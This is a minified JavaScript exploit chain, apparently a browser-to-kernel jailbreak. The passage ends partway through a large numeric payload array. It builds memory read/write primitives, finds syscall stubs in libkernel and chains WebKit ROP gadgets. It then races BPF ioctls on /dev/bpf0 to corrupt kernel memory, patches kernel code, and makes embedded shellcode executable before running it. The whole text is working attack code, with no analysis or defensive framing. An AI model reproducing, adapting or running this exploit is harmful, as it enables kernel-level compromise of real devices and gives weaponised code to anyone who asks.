orig_hold48=p.read8(holdz1.add32(72));p.write8(holdz1,funcbuf.add32(80));p.write8(holdz1.add32(72),funcbuf);parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);p.write8(holdz1,orig_hold);p.write8(holdz1.add32(72),orig_hold48);stackPointer=p.read8(funcbuf.add32(16));rtv=Array.prototype.splice.apply(reenter_help);return p.leakval(rtv);};p.loadchain=launch_chain;var kview=new Uint8Array(4096);var kstr=p.leakval(kview).add32(16);p.write8(kstr,libKernelBase);p.write4(kstr.add32(8),262144);var countbytes;for(var i=0;i<262144;i++){if(kview[i]==114&&kview[i+1]==100&&kview[i+2]==108&&kview[i+3]==111&&kview[i+4]==99){countbytes=i;break;};};p.write4(kstr.add32(8),countbytes+32);var dview32=new Uint32Array(1);var dview8=new Uint8Array(dview32.buffer);for(var i=0;i<countbytes;i++){if(kview[i]==72&&kview[i+1]==199&&kview[i+2]==192&&kview[i+7]==73&&kview[i+8]==137&&kview[i+9]==202&&kview[i+10]==15&&kview[i+11]==5){dview8[0]=kview[i+3];dview8[1]=kview[i+4];dview8[2]=kview[i+5];dview8[3]=kview[i+6];var syscallno=dview32[0];s[syscallno]=libKernelBase.add32(i);};};var chain=new rop();var returnvalue;p.fcall_=function(rip,rdi,rsi,rdx,rcx,r8,r9){chain.clear();chain.notimes=this.next_notime;this.next_notime=1;chain.fcall(rip,rdi,rsi,rdx,rcx,r8,r9);chain.push(g.pop_rdi);chain.push(chain.stackBase.add32(16376));chain.push(g.mov__rdi__rax);chain.push(g.pop_rax);chain.push(p.leakval(1094795842));if(chain.run().low!=1094795842){throw new Error("unexpected rop behaviour");};returnvalue=p.read8(chain.stackBase.add32(16376));};p.fcall=function(){p.fcall_.apply(this,arguments);return returnvalue;};p.readstr=function(addr){var addr_=addr.add32(0);var rd=p.read4(addr_);var buf="";while(rd&255){buf+=String.fromCharCode(rd&255);addr_.add32inplace(1);rd=p.read4(addr_);};return buf;};p.syscall=function(sysc,rdi,rsi,rdx,rcx,r8,r9){if(typeof sysc!="number"){throw new Error("invalid syscall");};var off=s[sysc];if(off==undefined){throw new Error("invalid syscall");};return p.fcall(off,rdi,rsi,rdx,rcx,r8,r9);};p.sptr=function(str){var bufView=new Uint8Array(str.length+1);for(var i=0;i<str.length;i++){bufView[i]=str.charCodeAt(i)&255;};nogc.push(bufView);return p.read8(p.leakval(bufView).add32(16));};p.malloc=function(sz){var backing=new Uint8Array(65536+sz);nogc.push(backing);var ptr=p.read8(p.leakval(backing).add32(16));ptr.backing=backing;return ptr;};p.malloc32=function(sz){var backing=new Uint8Array(65536+sz*4);nogc.push(backing);var ptr=p.read8(p.leakval(backing).add32(16));ptr.backing=new Uint32Array(backing.buffer);return ptr;};var test=p.syscall(23,0);if(test!="0"){var fd=p.syscall(5,p.sptr("/dev/bpf0"),2).low;var fd1=p.syscall(5,p.sptr("/dev/bpf0"),2).low;if(fd==(-1>>>0)){throw new Error("open bpf fail");};var bpf_valid=p.malloc32(16384);var bpf_spray=p.malloc32(16384);var bpf_valid_u32=bpf_valid.backing;var bpf_valid_prog=p.malloc(64);p.write8(bpf_valid_prog,2048/8);p.write8(bpf_valid_prog.add32(8),bpf_valid);var bpf_spray_prog=p.malloc(64);p.write8(bpf_spray_prog,2048/8);p.write8(bpf_spray_prog.add32(8),bpf_spray);for(var i=0;i<1024;){bpf_valid_u32[i++]=6;bpf_valid_u32[i++]=0;};var rtv=p.syscall(54,fd,2148549243,bpf_valid_prog);if(rtv.low!=0){throw new Error("ioctl bpf fail");};var spawnthread=function(name,chain){var longjmp=webKitBase.add32(5352);var createThread=webKitBase.add32(7836560);var contextp=p.malloc32(8192);var contextz=contextp.backing;contextz[0]=1337;var thread2=new rop();thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);chain(thread2);p.write8(contextp,g.ret);p.write8(contextp.add32(16),thread2.stackBase);p.syscall(324,1);var retv=function(){p.fcall(createThread,longjmp,contextp,p.sptr(name));};nogc.push(contextp);nogc.push(thread2);return retv;};var interrupt1,loop1;var sock=p.syscall(97,2,2);var kscratch=p.malloc32(4096);var start1=spawnthread("GottaGoFast",function(thread2){interrupt1=thread2.stackBase;thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.ret);thread2.push(g.pop_rdi);thread2.push(fd);thread2.push(g.pop_rsi);thread2.push(2148549243);thread2.push(g.pop_rdx);thread2.push(bpf_valid_prog);thread2.push(g.pop_rsp);thread2.push(thread2.stackBase.add32(2048));thread2.count=256;var cntr=thread2.count;thread2.push(s[54]);thread2.push_write8(thread2.stackBase.add32(cntr*8),s[54]);thread2.push(g.pop_rdi);var wherep=thread2.pushSymbolic();thread2.push(g.pop_rsi);var whatp=thread2.pushSymbolic();thread2.push(g.mov__rdi__rsi);thread2.push(g.pop_rsp);loop1=thread2.stackBase.add32(thread2.count*8);thread2.push(1094795585);thread2.finalizeSymbolic(wherep,loop1);thread2.finalizeSymbolic(whatp,loop1.sub32(8));});var krop=new rop();var race=new rop();var ctxp=p.malloc32(8192);var ctxp1=p.malloc32(8192);var ctxp2=p.malloc32(8192);p.write8(bpf_spray.add32(16),ctxp);p.write8(ctxp.add32(80),0);p.write8(ctxp.add32(104),ctxp1);var stackshift_from_retaddr=0;p.write8(ctxp1.add32(16),o2wk(19536333));stackshift_from_retaddr+=8+88;p.write8(ctxp.add32(0),ctxp2);p.write8(ctxp.add32(16),ctxp2.add32(8));p.write8(ctxp2.add32(2000),o2wk(7271653));var iterbase=ctxp2;for(var i=0;i<15;i++){p.write8(iterbase,o2wk(19536333));stackshift_from_retaddr+=8+88;p.write8(iterbase.add32(2000+32),o2wk(7271653));p.write8(iterbase.add32(8),iterbase.add32(32));p.write8(iterbase.add32(24),iterbase.add32(32+8));iterbase=iterbase.add32(32);};var raxbase=iterbase;var rdibase=iterbase.add32(8);var memcpy=get_jmptgt(webKitBase.add32(248));memcpy=p.read8(memcpy);p.write8(raxbase,o2wk(22848539));stackshift_from_retaddr+=8;p.write8(rdibase.add32(112),o2wk(19417140));stackshift_from_retaddr+=8;p.write8(rdibase.add32(24),rdibase);p.write8(rdibase.add32(8),krop.stackBase);p.write8(raxbase.add32(48),g.mov_rbp_rsp);p.write8(rdibase,raxbase);p.write8(raxbase.add32(1056),o2wk(2566497));p.write8(raxbase.add32(64),memcpy.add32(194-144));var topofchain=stackshift_from_retaddr+40;p.write8(rdibase.add32(176),topofchain);for(var i=0;i<4096/8;i++){p.write8(krop.stackBase.add32(i*8),g.ret);};krop.count=16;var kpatch=function(offset,qword){krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset);krop.push(g.add_rax_rsi);krop.push(g.pop_rsi);krop.push(qword);krop.push(g.mov__rax__rsi);};var kpatch2=function(offset,offset2){krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset2);krop.push(g.add_rax_rsi);krop.push(g.mov__rdi__rax);};p.write8(kscratch.add32(1056),g.pop_rdi);p.write8(kscratch.add32(64),g.pop_rax);p.write8(kscratch.add32(24),kscratch);krop.push(g.pop_rdi);krop.push(kscratch.add32(24));krop.push(g.mov_rbp_rsp);var rboff=topofchain-krop.count*8+40;krop.push(o2wk(2566497));krop.push(g.pop_rax);krop.push(rboff);krop.push(g.add_rdi_rax);krop.push(g.mov_rax__rdi__);krop.push(g.pop_rsi);krop.push(762);krop.push(g.add_rax_rsi);krop.push(g.mov__rdi__rax);var shellbuf=p.malloc32(4096);krop.push(g.pop_rdi);krop.push(kscratch);krop.push(g.mov__rdi__rax);krop.push(g.pop_rsi);krop.push(808116);krop.push(g.add_rax_rsi);krop.push(g.pop_rdi);krop.push(kscratch.add32(8));krop.push(g.mov__rdi__rax);krop.push(g.jmp_rax);krop.push(g.pop_rdi);krop.push(kscratch.add32(16));krop.push(g.mov__rdi__rax);krop.push(g.pop_rsi);krop.push(new int64(4294901759,4294967295));krop.push(g.and_rax_rsi);krop.push(g.mov_rdx_rax);krop.push(g.pop_rax);krop.push(kscratch.add32(8));krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(9);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.mov_rax_rdx);krop.push(g.jmp_rdi);krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(221338);krop.push(g.add_rax_rsi);krop.push(g.mov_rax__rax__);krop.push(g.pop_rdi);krop.push(kscratch.add32(816));krop.push(g.mov__rdi__rax);kpatch(221338,new int64(2425420344,2425393296));kpatch(20169540,shellbuf);kpatch(new int64(4293816070,4294967295),new int64(184,3297329408));kpatch(new int64(4293470503,4294967295),new int64(0,1082624841));kpatch(new int64(4293470533,4294967295),new int64(2425388523,1922076816));kpatch(new int64(4294769332,4294967295),new int64(934690871,826654769));kpatch(828366,new int64(233,2336788480));kpatch(1329844,new int64(2428747825,2425393296));kpatch(new int64(15789236,0),new int64(2,0));kpatch2(new int64(15789244,0),new int64(4293548276,4294967295));kpatch(new int64(15789276,0),new int64(0,1));krop.push(g.pop_rax);krop.push(kscratch.add32(8));krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(9);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.pop_rax);krop.push(kscratch.add32(16));krop.push(g.mov_rax__rax__);krop.push(g.jmp_rdi);krop.push(o2wk(380345));krop.push(kscratch.add32(4096));var kq=p.malloc32(16);var kev=p.malloc32(256);kev.backing[0]=sock;kev.backing[2]=131071;kev.backing[3]=1;kev.backing[4]=5;var shcode=[35817,2425393152,2425393296,2425393296,8567125,2303246336,1096172005,1398030677,2303275535,3149957588,256,551862601,1220806985,9831821,2370371584,4265616532,2370699263,3767542964,2370633744,1585456300,2169045059,1265721540,277432321,4202255,698,3867757568,524479,3607052544,960335176,1207959552,3224487561,2211839809,3698655723,1103114587,1096630620,2428722526,1032669269,4294967160,2303260209,15293925,1207959552,770247,2303262720,3271888842,1818324331,979595116,628633632,1815490864,2648,0,0,0,0,0,0,0,0,0,0,0,0,0,0];for(var i=0;i<shcode.length;i++){shellbuf.backing[i]=shcode[i];};start1();while(1){race.count=0;race.push(s[362]);race.push(g.pop_rdi);race.push(kq);race.push(g.mov__rdi__rax);race.push(g.ret);race.push(g.ret);race.push(g.ret);race.push(g.ret);race.push_write8(loop1,interrupt1);race.push(g.pop_rdi);race.push(fd);race.push(g.pop_rsi);race.push(2148549243);race.push(g.pop_rdx);race.push(bpf_valid_prog);race.push(s[54]);race.push(g.pop_rax);race.push(kq);race.push(g.mov_rax__rax__);race.push(g.mov_rdi_rax);race.push(g.pop_rsi);race.push(kev);race.push(g.pop_rdx);race.push(1);race.push(g.pop_rcx);race.push(0);race.push(g.pop_r8);race.push(0);race.push(s[363]);race.push(g.pop_rdi);race.push(fd1);race.push(g.pop_rsi);race.push(2148549243);race.push(g.pop_rdx);race.push(bpf_spray_prog);race.push(s[54]);race.push(g.pop_rax);race.push(kq);race.push(g.mov_rax__rax__);race.push(g.mov_rdi_rax);race.push(s[6]);race.run();if(kscratch.backing[0]!=0){p.syscall(74,shellbuf,16384,7);p.fcall(shellbuf);break;};};};var createThread=webKitBase.add32(7836560);var payloadbuf=p.malloc32(16384);var payload=[1111273,1096171776,1431585109,3582544211,283935560,2382137673,2303262574,1288843771,254047373,964619653,3135867212,1,446,4152970240,992613887,2236088320,252409024,254039230,108384901,3526431723,4282912747,184189891,1962890120,3956145924,3812183235,1946158022,1221756167,41277577,2202583089,1566249156,1564564545,1405312577,4294674760,3905301,3623962624,1993881928,3372173333,2198910479,91562234,3942645958,167412715,2303260276,1103322072,4102637908,1408053589,268142920,2218800062,1296659702,527819909,729148805,2198058511,255860984,4169385364,3230928649,163839816,3054452933,1289022445,369092489,15164,1958774088,253094867,2370319294,2770749,622198528,1207959611,3228876933,1540917576,3277603165,1447122753,1413567809,2169000789,76012,1237332224,2303262345,1209017420,774143117,10937,1219162880,1478771853,611617096,76105736,1150109732,3343394340,2499652,1224736768,2303252361,823665732,1223504347,136598667,51390,1015760896,3607052580,264275272,54404,1015760896,3905290020,4294967035,1103464777,2214610314,252867776,4202942646,1225094432,3958097407,1946811011,255540470,591184276,163746831,264275146,3258499221,2370349427,2722101,4018752512,4294895336,3297331711,1027342474,977011828,3326177653,1275077636,4283035529,4271761604,4130471935,1239910732,3169371529,2164260862,225706040,3942645958,553157384,4282990197,3054453188,3229885444,2303520629,4268615911,2336817151,3122144380,50,4293822796,3740437,2089502720,1153830948,1275090724,2303517321,3623829998,166451209,1946810499,2244471741,3712225243,4294906601,3296807167,296,1566300297,1564564545,1598119489,3515435203,1223854408,2370371209,4294808637,4271565311,1398145023,418153288,1223919944,136598665,1010142536,4278190131,3733269,3314108416,1224722563,494202245,609520456,3733538824,3908012360,4294967221,2314176840,18218947,2298478649,3296938200,3277675288,904215939,1946157056,2303218483,3967895802,512,1849003336,1207959592,3224496009,956438015,2303197184,8503270,369033216,14092,12878152,1526726658,33536707,3192979456,1537,2138088,4294476544,2304378996,547285447,3277324288,3526448193,2303218517,3908448755,8320,1962932355,33536623,29229056,1207959558,3314147209,2123752,4294476544,1959037249,48968,369033217,14160,1220576584,762626953,16777402,3733538816,636022665,1207959584,276086917,1220708680,2302992009,538896615,3706388480,4292839752,3715861,3884532736,2106344,4018756352,3915137373,8216,1547787611,1431585219,1221734739,830522499,4236855798,4058574129,2197815327,2215641080,128,2370356105,1275602036,1776871305,1157627936,4281452849,3117975873,2,954,1073790464,2313682944,1207959584,1962932355,1955285064,2202554404,813564926,357513345,678763837,407942927,3804349183,71994629,1221157704,343723577,824240771,3529722093,537951361,1179403647,3314814784,4194494,3347662848,2115560,3906963712,8052,2162983752,1566304393,1103322177,1096171863,1431585109,3968026707,3871426584,612141344,3590932492,1305315656,2303313289,12534260,1207963648,1484057989,608471876,4253108236,1048576,1224444236,1306347023,4281459081,134218425,113152,2303197184,533915870,2202533888,2303328248,1277981894,2303258505,3330885850,4292673865,3526421,3733538816,3908536652,8120,1239230792,2750143489,440,822274816,3296938176,1096637208,1096630620,3277799774,549618504,3359227953,4030279037,2337022324,3531951378,2337020276,2337015887,961407042,1275884225,1293963011,961400833,4278941377,3263383744,835709752,28885952,3271557120,1447122753,1413567809,4253632597,1409180488,1224444232,1210646379,1226370179,369087625,13656,1240281413,2303323017,4130424256,2111650113,2072726903,4286926112,3649660276,1156221256,2303520393,1149848799,1843922980,1291845631,136594571,158646405,20676929,1970274303,3328395582,810781513,683699016,1237778241,4279717005,1222309704,21809697,1351174336,2022263824,1401637144,680084488,139495752,2168574513,4294902075,3264548719,1092636809,2202650111,2230008003,607422789,415531848,3230223451,1096565085,1096696157,1463927647,1430345281,1398101057,418153288,1224051009,29283209,3120562182,511,1288603969,136594569,1938408,4294476544,14713871,2337013760,2299012164,1220905415,1159250819,255983409,1278759095,1799931529,2202548434,1508393154,1157627933,2366633785,157,4168846152,877532671,2336751616,4130469971,1220839753,369084297,13620,555907,1665674100,3526486131,1292602184,2302992521,4257868015,3230007295,2336771700,3526488179,3387486089,1207959581,3958920075,864766001,698,4018750464,3906926408,7600,1276349256,2302994057,483846383,2336751616,3526488179,2515070857,1207959581,2303464331,3908012518,7368,1105693004,369084415,13660,683901768,4294925033,3296938239,1542424856,1096565085,1096696157,481749343,2202533888,1566251204,1564564545,1598119489,1096106435,1213420884,824765571,4119414994,2246637105,2197815324,2215641080,168,835268933,3230220799,697,244224,12451840,2298478656,489351363,2202533888,2303328248,259683524,1209548983,472142989,472138951,0,1208344769,1150111128,255926276,1714974903,1044432705,1097203712,3948743,3342951936,14912,1081642313,675333961,0,608471372,4253739016,2337079295,2299012164,608996318,3314108700,1220708680,870903689,1291845630,369094537,13436,4194494,3884534784,1881064,3906963712,7136,683967304,1547787611,1103322433,1096171863,1431585109,3967895635,2200,1241418057,369096585,13256,264275272,64132,33537536,2303459328,3297331711,615288136,144,1836008,1150109696,2370574372,76555436,2303197184,1275601988,369092489,12932,264275272,46468,1485654016,898451464,9782,4292839752,3372821,1958774016,898451670,9761,4292839752,3367701,1958774016,3649652930,1223854412,584398221,2303197184,4290785775,3366677,3649652736,1224378700,582825357,2303459328,4290785775,3360533,1955284992,2303199268,462350575,3229941760,1149993333,627449892,1030156288,276119552,1223592268,417918857,3925868543,4294967139,2147499366,4284056847,2303262719,4207143151,3230007295,4283008015,2303524863,4018751726,4294843624,4281985535,2303524863,756416487,1207959603,144229505,1566244864,1564564545,1598119489,1230258627,1213594761,574045581,4283629568,3317525,3314108416,2236137521,1215853805,369094537,12676,1958774088,1485654109,898451464,9530,4292839752,3308309,1958774016,898451674,9509,4292839752,3303189,1958774016,898451654,9248,4292839752,3248917,3229960192,2303242612,3800648927,3728051528,822083617,113600,369033216,12732,3677422315,4293888328,3311381,1540917504,3277603165,1398101057,1224378696,16837761,2370306048,2207285,3884533760,369082417,12824,3191180616,1207959585,369092489,12712,3099822408,100,266044744,34180,178688,4130406400,4292839752,3211029,3750316032,832443903,3526426624,2303260209,3750316229,820385279,2303197184,2232811503,1207959600,2303252873,114410,2303197184,3297331655,825103871,2303197184,4292555231,3240725,16824320,961019904,1091466949,17054848,4292576072,3955294024,3884535021,15565128,4278190081,3265301,3278587904,1221734756,2169042423,65732,1096637184,3126182748,511,4253632595,4085860433,20811080,3187671073,1537,1641448,2211590400,1249181688,166250377,1207959577,551697805,166199296,1207959577,552015245,2370306048,2347829,4018751488,369082417,12564,3541405000,1207959584,599405965,2303197184,4290785759,3210005,113152,3498639360,3277675354,2520091976,1358954528,813831679,3526426624,1958774088,3347662862,815928831,28966912,2298478592,1103321808,1096171863,1431585109,3967895635,472,1291422024,270822541,837978440,898451648,8207,615812428,400,1291553096,2370367369,13640876,369033216,12424,612666696,336,1223330124,2303248265,1208493124,540947853,3224436736,811996671,2303459328,898451690,8247,838306124,1360396224,1275068464,2370631561,17835172,501743616,1207959576,136608907,4294397160,4030563327,44,1223330124,807800203,1282670592,70618440,1207959584,3224498057,3224490495,1223330124,536360333,2303459328,18218983,4127195184,2931205,225706240,131006,4018751488,1583080,2751854080,33554476,4290656884,1275068417,736880521,2234879304,1207959586,3224498057,2370359807,2258741,3884534784,837454156,3038117824,3187671087,511,3908012364,6116,744621451,3229941760,27789428,10716175,2370568192,1213211756,2370361993,2063925,4018752512,2370617393,9446588,369033216,12148,2034077000,3892314143,4294964800,1290701128,568913801,1207959567,2370361993,2062645,4018752512,369082417,12104,1223330120,529347981,2303459328,4290785791,3093269,4270410752,3908012364,4294964828,1222281544,528758157,2303459328,4290785775,3085077,898451456,8090,1224706380,3224496777,788403711,2303459328,4018752766,4294322152,2902821887,2231369771,2819126464,3447983874,1275068416,1344564365,1222281544,527840653,2303459328,4290785775,3065621,4018752512,4294823912,264275455,39300,1883079424,43,1715309896,1962934303,1032669191,8057,4294276072,3163376895,36900,3867757568,3908012364,3660,1222281544,514078093,2303459328,4290785775,3044117,3800648704,3090517320,1275068446,3224502153,777917951,2303459328,4018752766,4294281192,3666430207,2939522376,1275068446,3224498057,775820799,2370306048,2016565,4287187968,836929868,689307584,1275068462,2303524489,4115851503,93061119,10968,74760325,829686184,611093836,898451536,7926,1289390408,3224498057,771102207,2370306048,2035773,4106414080,2303262719,4018752750,564968,2567277312,2231369770,2818864320,1280799746,1344564365,1222281544,519779725,2303459328,4290785775,2995989,4018752512,4294754280,1958774271,1681752871,42,121474376,1962934303,1032669191,7960,4294207464,3867757823,3908012364,2115,708707723,3229941760,27788404,2370580852,1213211756,520107405,2303197184,4018752730,369082417,11612,121474376,3892314143,4294964264,1290701128,1089007497,2348810233,2752261,1958774016,1946331140,1821198397,2303217700,898451674,7918,837781832,487980992,1207959597,636022665,2248146940,1209496768,518929805,3722969088,1291845619,2303256201,4176865519,2336817151,3892847740,5324,3908536652,4294964221,3636756808,1526726657,1096565085,1096696157,2336801631,2193164359,1220542464,1279291531,256393355,3515435058,412519240,1207959553,1210114497,759744521,448,280263,3338665984,2118,2202533888,1187512265,20,182016,1207959552,2258669707,2303197449,2336763990,739930256,1351174402,1351174432,2542487576,304,1294152,0,2303211521,2303221834,2303219834,537880650,3515435202,4292968776,268435199,2290139426,30213766,1216399124,20368,2147483648,3439765896,2290090753,30213802,3364388865,16895238,2707194055,79,2160459776,71600,2978006704,16777495,397574342,3334668289,18333824,2160504832,71617,3263219201,3271557399,4030693574,3325100051,334512256,2160508928,1306689,1115735696,2415924208,4030955718,261095443,3224486434,827545027,1032016347,10351,2152100864,2516541,779354112,369098545,11132,1220708680,1665713545,2644741,3660138496,2093103432,1032669203,9792,3907750216,4294963800,3677422315,447,2702573312,3942645800,3224459953,1103322459,4102637908,898451541,7508,3582543955,1291553096,369092489,11060,225820805,4293888328,2844437,3942877440,898451522,7474,4293364044,2822933,1975551232,4018751502,726013439,1133051904,1210116868,488060301,2303459328,4044750823,2231369770,1208776128,369094537,11044,1527268233,440,1547787520,1096106435,1213420884,22604929,2303197184,243001595,266862592,3892314133,5056,1222281544,4260377997,197132287,822083584,434694336,4192731136,3338666001,2583301,768,3351851264,2581253,15360,3354800384,2579205,256,93146112,7322,658113991,65536,2370306048,4294883349,738576127,37,612142408,2760723464,36900,1821199360,369053732,10452,1799195976,3892314140,4294963496,1471,1964375808,1275068455,2303518345,4174702831,3230007295,2370319733,1859637,1032669184,9440,706876927,29294592,4278190080,2574101,3867757568,3908012364,4294965414,3866411141,616105414,1207959552,3492060301,1275068416,2303255177,898451679,7221,369082417,10724,1222609224,647632269,2370306048,4294863413,1552763135,1474826276,1224736752,4008238985,2248146934,1211266496,470627725,2370306048,2385725,2836791040,3204448297,1,651040255,2303197184,4140034271,3230007295,96921972,9283,3750316032,4294396904,1677231103,29309311,4278190080,2532117,3750316032,4294390760,898451711,7129,356355400,2298478628,834832837,1360396224,2197815337,3464389629,603784646,1207959552,270838925,1275068417,2303256969,898451674,7120,837781832,622198720,1207959593,4125683593,3221225455,5,641865215,2303459328,3750316262,4294459112,3359474687,37,1222281544,464336269,2336751616,2682637,1208448256,465122701,2303197184,4290785775,4018751697,4293898216,704511,369033216,9724,630013315,3338665984,2454277,0,1213166592,462763405,482279424,822083586,399829184,12189696,822083648,1220970953,582992777,822083586,398256320,3733520384,138687,3904909568,6062,7866,114176,633274368,822083584,395897024,2168979456,88260,1539322112,1096565085,1447150429,1413567809,1442089289,393662,2303218432,33536725,2303197184,268364027,4169334784,3179548671,1090519040,3191981449,1048576,267224392,39812,155028224,1207959589,64897,2303459344,1175406835,3867757789,692638257,276228317,2336751616,2414389,3666429952,618544523,2515009536,1207959567,616707467,2303197184,4018750682,1019880,486754304,9416,2567801672,1207959588,616177033,961019904,1208448715,615386505,1799880704,2401797,3526452224,859147592,1207959578,576077197,2169044992,268435652,4059514880,834832712,2299920320,3909091367,4294967132,4018750555,1096565085,3915268445,3908,1541048648,898451549,6748,2370329665,2234173,828195072,4284367296,2577189,4284696576,1766348609,43207,1096171776,1431585109,4152967507,686588744,1224094021,136594569,1208043149,2300843145,2300060748,1209803844,136594571,3976528712,1140850723,257978427,113539,361449472,9196,1142975115,1342435977,2937014372,3918088426,138937160,608995656,1815824400,2198802468,392,4287,2501246720,2332033061,2342717,1221734656,2303258249,255518915,1032519680,9132,4282,3733538816,941032,75203328,1208907008,369090441,9976,82921,138644224,4278286477,2445077,1240871168,1133233545,4018752520,4278276237,2503445,4286924032,1032528510,9056,276139336,3723022897,2332033038,2303461459,1228770286,3892314147,3584,607947592,153455436,4278190117,2521877,139692800,276598088,3573498114,607945544,3297331456,688229196,1946157094,344672280,3347662884,1223264588,360789389,3224436736,3956342593,3347662866,1223330124,414594445,3224436736,2345729857,4169335875,1163097346,1920925573,405044355,1209240320,582616459,359923712,2832361800,1207959552,135283851,2634350920,3942645794,3530115149,168,2769128264,1275068450,1904994185,3489744928,139496264,1214529675,3908087567,4294966602,4169344235,3189732611,511,3907488076,3532,405032075,2346879308,2333877364,4264290363,1133248511,3750316044,4291101000,2475797,4018752512,633214463,2303459328,3038117863,3909091365,4294966893,3922132801,4294966831,683967304,1547787611,1581342017,1103322945,1096171863,1431585109,1409124680,268435647,2303217920,3843424243,3187671075,511,1222609224,569771401,1307049984,822083597,1224094162,3387486089,2197815308,3230007242,568984969,2282684416,346,20671,3979429120,598087167,1032519680,8656,4130460209,3171256648,822083617,222750957,2336751616,2207541,5290496,1032519680,8620,812008,93014016,8600,813197640,168,593630719,2303197184,2192133,93014016,8572,1223330116,1933594683,1703757174,4018749697,1223002445,560086411,3526426624,11057217,2302935040,2347313657,4035518583,972093249,1141207745,3253468553,1291749701,1932556091,3379120370,168,557202827,3526426624,1237843777,1223995151,2917715457,1224736780,11073129,1032519680,8472,43194,889407488,8436,771048,1217719040,3108534411,1,836405576,96946422,8396,0,3909470024,32,3892314112,4294966425,3439692616,1207959584,3375487625,2336814641,2196260984,1224736764,548814219,96862208,7807,420871936,1207959588,546454923,369033216,9228,547241355,2045247488,1207959563,545406347,369033216,9204,3498693169,1096637274,1096630620,3277799774,3356489865,1096171971,1431585109,4253630803,283935560,65727,756416256,1207959586,3224487305,1961723208,3828434250,611618124,113167,2303459328,4018750710,3907225924,2804,2126546248,1153306387,3229945636,2286029428,1224746308,3588998399,2378392392,1153827187,1207959557,2303260259,1897267183,1207959586,1527825539,1096565085,3277734237,1409124693,8383,369053952,8636,3992950157,2370371583,1545781,519734016,1992526152,3214249234,2214592493,393682682,2335542600,1207959575,3224493961,583669247,2196307968,2365587458,4293762965,898451711,6012,1981741699,2140507614,1224736749,394868109,4202889216,2378987038,4293738389,898451711,6022,1981741699,9801146,1224736748,394409357,4202889216,2376627811,4293525653,898451711,6022,1980365443,4036332950,2181038057,125434,2300540672,3347663081,3239043459,2370307306,1537077,4290785536,2245397,33286400,2303197184,495798471,5599,579212799,4253089792,4102,31425551,2265907200,248,67698049,2370306048,1402909,3330543360,1996488705,66945401,1207959556,310189453,2215575552,433,4253102711,1025,18713928,251658261,105604,495798272,4635,26183439,2370306048,1366813,16613632,3909091332,377,67566977,2370306048,1370397,1787039488,1207959553,350887309,2265907200,349,3256716616,2164260884,263421,21489920,4253089792,4098,1578995016,251658261,80004,2167568128,1048829,495798272,5353,19104783,2370306048,1386269,377949952,1207959553,348134797,4253089792,1033,65769,83722496,1207959568,348200333,2215575552,241,520457544,1207959573,348069261,1860894720,269417857,2370306048,1397021,3464761088,1996488704,184385887,1207959568,351280525,2215575552,185,4253098871,4104,2971503944,251658260,42116,93145088,5268,2988281160,3942645780,217940257,1207959568,350231949,2215575552,129,3271920968,1207959572,350363021,256376832,1844172870,308346241,2370306048,1381405,2002678784,553484589,1207959570,351346061,1299447808,306249089,2370306048,1370909,1212052480,349117837,4253089792,4608,4253101035,4768,4196240712,1946157076,3237839136,1207959570,351542669,292814848,3625815368,2164260884,1212669,822244352,3632875739,3277675354,1447122753,1413567809,2169000789,862444,4220078080,614763852,928,611093832,1955153952,2159675428,822083585,3884535030,532551167,4130406400,32954,4018751488,531502591,3526426624,2303260209,128903391,3280535552,440,4294673152,57246735,3526426624,3750360625,542696,25213440,2303459328,3906963942,1900,2686762113,2130706435,3092532803,2,54101263,3526426624,262334,1172277504,300477745,1207959560,2159734409,2298478592,121039071,3163226112,243748,4227000320,3526492159,3330924425,519144,3163252224,242212,3351340544,4290187016,99074376,505026047,2338717696,62006420,4130406400,1220839753,2303510409,3867758053,3071275654,3804317906,3977641733,1711276062,2988752011,1711276035,252233665,960612279,1276673477,549123721,2298478592,3321840095,441320,3330492672,265612064,2303590327,3888204006,4281419012,498472447,2338717696,62006420,4130406400,1220905289,4068919177,1221768975,4278510273,2002709,604292864,0,612666214,946,3071271046,604256704,2336311677,4213893182,4063231,1962934274,2123055409,4212844560,3526492159,1888345993,118679553,3750297600,4294642920,3613608447,1207974016,550798473,1946157061,3355394309,83879147,3330492708,1302719264,822637965,4281419218,612666214,946,3071271046,3342418368,2106291837,605325568,4294624232,3905391103,4294966076,1225817483,2303198857,4205766849,2302803967,2106325062,4204980244,2302803967,2106326086,4204193792,344719359,281343524,2428021,1023410194,4608,2236095093,1208907209,2336801379,86033540,2303262720,1048791302,4292510465,1237843777,1209058947,3911239043,4294967160,615812428,416,65722,1291202816,369096585,7556,611617608,16759304,2303459328,1628831735,3187671068,511,3908536652,1512,612666696,160,136594631,0,604277064,74288457,616336716,672,612666214,946,3071271046,608451008,3800895240,1207959552,822113635,3239444479,1207959580,838628707,1222609362,270812297,380904,1432569856,1222609152,270824587,324584,1300973568,3380955140,10126351,2336751616,2303468604,898451698,4717,369082417,7460,604801864,3440741704,3187671055,256,838830412,2836791232,1275068443,1116404361,1958773761,1966029864,21153311,33537536,2303459328,1418283263,568858660,1207959557,405034123,788611782,3955425096,1015761105,33536548,29229056,3892314118,1160,1962932355,1955285065,3347648548,5595976,270812297,287720,608996096,3905915152,1136,136594687,281379656,4294903785,3906963967,1116,4293364044,1891093,4018752512,483530239,3224436736,62391787,1207959552,220775553,1566244864,1564564545,1598119489,3968026819,898451464,6500,2621279560,1207959569,432670151,0,3437756416,2231369731,1210741952,423769485,2370306048,1149245,62253056,3229941760,2370311028,1649461,1032669184,4485,237288,423463680,1207959577,421139853,2370306048,1146677,57534464,1032519680,6400,957713736,1207959577,293090701,1424490496,2332033027,1632061,361580544,6488,1882557768,3892314129,827,416169355,2370306048,1646357,898451456,4447,205544,3040709376,1207959576,424023437,2370306048,1135925,50980864,1032519